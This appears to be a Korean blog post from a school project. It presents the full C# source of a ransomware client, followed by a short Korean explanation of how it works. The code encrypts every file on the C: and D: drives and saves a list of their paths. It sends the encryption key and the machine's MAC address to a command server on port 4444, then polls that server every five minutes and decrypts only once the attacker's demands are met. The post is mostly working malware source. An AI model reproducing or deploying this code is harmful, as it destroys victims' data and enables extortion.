[국원고 프로젝트] Program.cs

Benedictus Park·2022년 12월 15일
0
post-thumbnail

using System;
using System.IO;
using System.Timers;
using System.Net.Sockets;
using System.Net.NetworkInformation;

using Utils;

namespace gukwon_ransomeware_client
{
    class Program
    {
        static string[] pathes = new string[0];

        static void OnTimedEvent(object source, ElapsedEventArgs e)
        {
            BinaryReader rdr;
            BinaryWriter wtr;
            TcpClient client;
            Decryptor decryptor;
            byte[] key, iv;

            client = new TcpClient("127.0.0.1", 4444);

            wtr = new BinaryWriter(client.GetStream());
            wtr.Write(CONSTANTS.DECRYPT_REQ);
            wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
            wtr.Close();

            rdr = new BinaryReader(client.GetStream());
            if(rdr.ReadInt32() == CONSTANTS.SUCCESS)
            {
                key = Convert.FromBase64String(rdr.ReadString());
                iv = Convert.FromBase64String(rdr.ReadString());
                decryptor = new Decryptor(key, iv);
                decryptor.DecryptFiles(pathes);
            }
        }

        static void Main()
        {
            Timer timer;
            Console.WriteLine("실행 중 종료시 파일들이 손상될 수 있습니다. . .");

            if (File.Exists("data.dat"))
            {
                BinaryReader rdr = new BinaryReader(new FileStream("data.dat", FileMode.Open));

                pathes = new string[rdr.ReadInt32()];

                for(int i = 0; i < pathes.Length; i++)
                {
                    pathes[i] = rdr.ReadString();
                }

                rdr.Close();
            }
            else
            {
                KeySet keySet;
                BinaryWriter wtr;
                FilePathGetter pathGetter = new FilePathGetter();
                Encryptor encryptor = new Encryptor();
                TcpClient client;
                NetworkStream stream;

                if (Directory.Exists("C:\\"))
                {
                    pathes = pathGetter.GetAllFilePathes(new string[1] { "C:\\" });
                }
                if (Directory.Exists("D:\\"))
                {
                    ArrayAppender.Append(ref pathes, pathGetter.GetAllFilePathes(new string[1] { "D:\\" }));
                }

                keySet = encryptor.EncryptFiles(pathes);

                wtr = new BinaryWriter(new FileStream("data.dat", FileMode.Create));
                wtr.Write(pathes.Length);

                for (int i = 0; i < pathes.Length; i++)
                {
                    wtr.Write(pathes[i]);
                }

                wtr.Close();

                client = new TcpClient("127.0.0.1", 4444);
                wtr = new BinaryWriter(client.GetStream());
                wtr.Write(CONSTANTS.SEND_KEY);
                wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
                wtr.Write(keySet.Key.Length);
                wtr.Write(keySet.Key);
                wtr.Write(keySet.IV.Length);
                wtr.Write(keySet.IV);

                wtr.Close();
                client.Close();
            }

            timer = new Timer(1000 * 60 * 5);
            timer.Elapsed += OnTimedEvent;
            timer.Enabled = true;
        }
    }
}
  • 최초 실행시 모든 파일 경로 구하여 암호화 수행
  • 모든 파일 경로는 별도의 파일을 생성하여 저장
  • 일정 시간마다 공격자의 요구를 충족했는지 확인하는 패킷을 서버로 전송
  • 요구 충족되어 Key와 IV가 들어있는 패킷이 들어왔을 시 복호화 수행 및 프로그램 종료

0개의 댓글